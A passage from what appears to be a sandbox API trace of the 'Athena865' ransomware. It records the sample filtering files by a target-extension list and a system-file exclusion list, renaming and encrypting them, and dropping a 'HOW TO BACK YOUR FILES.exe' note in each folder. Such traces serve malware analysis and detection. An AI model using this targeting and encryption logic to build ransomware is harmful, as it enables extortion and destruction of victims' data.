lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0103.158] lstrlenW (lpString="sdc") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0103.158] lstrlenW (lpString="sdf") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0103.158] lstrlenW (lpString="sis") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0103.158] lstrlenW (lpString="spq") returned 3 [0103.158] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0103.158] lstrlenW (lpString="te") returned 2 [0103.159] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0103.159] lstrlenW (lpString="teacher") returned 7 [0103.159] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0103.159] lstrlenW (lpString="tmd") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0103.159] lstrlenW (lpString="tps") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0103.159] lstrlenW (lpString="trc") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.159] lstrlenW (lpString="trc") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.159] lstrlenW (lpString="trm") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0103.159] lstrlenW (lpString="udb") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0103.159] lstrlenW (lpString="udl") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0103.159] lstrlenW (lpString="usr") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0103.159] lstrlenW (lpString="v12") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0103.159] lstrlenW (lpString="vis") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0103.159] lstrlenW (lpString="vpd") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0103.159] lstrlenW (lpString="vvv") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0103.159] lstrlenW (lpString="wdb") returned 3 [0103.159] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0103.159] lstrlenW (lpString="wmdb") returned 4 [0103.160] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0103.160] lstrlenW (lpString="wrk") returned 3 [0103.160] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0103.160] lstrlenW (lpString="xdb") returned 3 [0103.160] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0103.160] lstrlenW (lpString="xld") returned 3 [0103.160] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0103.160] lstrlenW (lpString="xmlff") returned 5 [0103.160] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0103.160] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Links\\desktop.ini.Athena865") returned 71 [0103.160] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\documents and settings\\default\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\links\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0103.164] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\links\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.164] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80) returned 1 [0103.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519888 [0103.165] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519800) returned 1 [0103.165] CryptGenRandom (in: hProv=0x519800, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.165] CryptReleaseContext (hProv=0x519800, dwFlags=0x0) returned 1 [0103.166] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x17c [0103.168] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0103.169] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519800) returned 1 [0103.170] CryptGenRandom (in: hProv=0x519800, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.170] CryptReleaseContext (hProv=0x519800, dwFlags=0x0) returned 1 [0103.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.170] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.170] CloseHandle (hObject=0x17c) returned 1 [0103.171] CloseHandle (hObject=0x154) returned 1 [0103.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519888 | out: hHeap=0x4f0000) returned 1 [0103.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.171] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7974940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.171] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.171] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="..") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="windows") returned -1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="bootmgr") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="temp") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="pagefile.sys") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="boot") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ids.txt") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ntuser.dat") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="perflogs") returned 1 [0103.171] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="MSBuild") returned 1 [0103.171] lstrlenW (lpString="Web Slice Gallery.url") returned 21 [0103.171] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Web Slice Gallery.url" | out: lpString1="Web Slice Gallery.url") returned="Web Slice Gallery.url" [0103.172] lstrlenW (lpString="Web Slice Gallery.url") returned 21 [0103.172] lstrlenW (lpString="Athena865") returned 9 [0103.172] lstrcmpiW (lpString1="llery.url", lpString2="Athena865") returned 1 [0103.172] lstrlenW (lpString=".dll") returned 4 [0103.172] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".dll") returned 1 [0103.172] lstrlenW (lpString=".lnk") returned 4 [0103.172] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".lnk") returned 1 [0103.172] lstrlenW (lpString=".ini") returned 4 [0103.172] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".ini") returned 1 [0103.172] lstrlenW (lpString=".sys") returned 4 [0103.172] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".sys") returned 1 [0103.172] lstrlenW (lpString="Web Slice Gallery.url") returned 21 [0103.172] lstrlenW (lpString="bak") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.172] lstrlenW (lpString="ba_") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.172] lstrlenW (lpString="dbb") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.172] lstrlenW (lpString="vmdk") returned 4 [0103.172] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.172] lstrlenW (lpString="rar") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.172] lstrlenW (lpString="zip") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.172] lstrlenW (lpString="tgz") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.172] lstrlenW (lpString="vbox") returned 4 [0103.172] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.172] lstrlenW (lpString="vdi") returned 3 [0103.172] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.173] lstrlenW (lpString="vhd") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.173] lstrlenW (lpString="vhdx") returned 4 [0103.173] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.173] lstrlenW (lpString="avhd") returned 4 [0103.173] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.173] lstrlenW (lpString="db") returned 2 [0103.173] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.173] lstrlenW (lpString="db2") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.173] lstrlenW (lpString="db3") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.173] lstrlenW (lpString="dbf") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.173] lstrlenW (lpString="mdf") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.173] lstrlenW (lpString="mdb") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.173] lstrlenW (lpString="sql") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.173] lstrlenW (lpString="sqlite") returned 6 [0103.173] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1 [0103.173] lstrlenW (lpString="sqlite3") returned 7 [0103.173] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1 [0103.173] lstrlenW (lpString="sqlitedb") returned 8 [0103.173] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1 [0103.173] lstrlenW (lpString="xml") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.173] lstrlenW (lpString="$er") returned 3 [0103.173] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.173] lstrlenW (lpString="4dd") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.174] lstrlenW (lpString="4dl") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.174] lstrlenW (lpString="^^^") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.174] lstrlenW (lpString="abs") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.174] lstrlenW (lpString="abx") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.174] lstrlenW (lpString="accdb") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1 [0103.174] lstrlenW (lpString="accdc") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1 [0103.174] lstrlenW (lpString="accde") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1 [0103.174] lstrlenW (lpString="accdr") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1 [0103.174] lstrlenW (lpString="accdt") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1 [0103.174] lstrlenW (lpString="accdw") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1 [0103.174] lstrlenW (lpString="accft") returned 5 [0103.174] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1 [0103.174] lstrlenW (lpString="adb") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.174] lstrlenW (lpString="adb") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.174] lstrlenW (lpString="ade") returned 3 [0103.174] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.174] lstrlenW (lpString="adf") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.175] lstrlenW (lpString="adn") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.175] lstrlenW (lpString="adp") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.175] lstrlenW (lpString="alf") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.175] lstrlenW (lpString="ask") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.175] lstrlenW (lpString="btr") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.175] lstrlenW (lpString="cat") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.175] lstrlenW (lpString="cdb") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.175] lstrlenW (lpString="ckp") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.175] lstrlenW (lpString="cma") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.175] lstrlenW (lpString="cpd") returned 3 [0103.175] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.175] lstrlenW (lpString="dacpac") returned 6 [0103.175] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1 [0103.175] lstrlenW (lpString="dad") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.177] lstrlenW (lpString="dadiagrams") returned 10 [0103.177] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1 [0103.177] lstrlenW (lpString="daschema") returned 8 [0103.177] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1 [0103.177] lstrlenW (lpString="db-journal") returned 10 [0103.177] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1 [0103.177] lstrlenW (lpString="db-shm") returned 6 [0103.177] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1 [0103.177] lstrlenW (lpString="db-wal") returned 6 [0103.177] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1 [0103.177] lstrlenW (lpString="dbc") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.177] lstrlenW (lpString="dbs") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.177] lstrlenW (lpString="dbt") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.177] lstrlenW (lpString="dbv") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.177] lstrlenW (lpString="dbx") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.177] lstrlenW (lpString="dcb") returned 3 [0103.177] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.178] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0103.178] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Links\\Web Slice Gallery.url.Athena865") returned 81 [0103.178] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\documents and settings\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\Web Slice Gallery.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\links\\web slice gallery.url.athena865"), dwFlags=0x1) returned 1 [0103.179] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Links\\Web Slice Gallery.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\links\\web slice gallery.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.179] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=226) returned 1 [0103.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519888 [0103.179] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519800) returned 1 [0103.180] CryptGenRandom (in: hProv=0x519800, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.180] CryptReleaseContext (hProv=0x519800, dwFlags=0x0) returned 1 [0103.180] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x17c [0103.182] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0103.183] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519800) returned 1 [0103.184] CryptGenRandom (in: hProv=0x519800, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.184] CryptReleaseContext (hProv=0x519800, dwFlags=0x0) returned 1 [0103.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.184] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.184] CloseHandle (hObject=0x17c) returned 1 [0103.184] CloseHandle (hObject=0x154) returned 1 [0103.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519888 | out: hHeap=0x4f0000) returned 1 [0103.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.185] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0103.185] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.185] ReleaseMutex (hMutex=0xec) returned 1 [0103.185] CloseHandle (hObject=0xec) returned 1 [0103.185] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites") returned="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites" [0103.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7a0 | out: hHeap=0x4f0000) returned 1 [0103.185] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites") returned 62 [0103.185] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8AE8F0477EB61AA5E4F17A9EBBCCC114") returned 0xec [0103.185] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.185] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites") returned="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites" [0103.185] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.185] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.186] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\microsoft websites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.186] GetLastError () returned 0x0 [0103.186] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.186] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.187] CloseHandle (hObject=0xf4) returned 1 [0103.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.187] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.187] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.188] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.188] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.188] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.188] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.188] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.188] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.188] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.188] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.188] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7974940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, 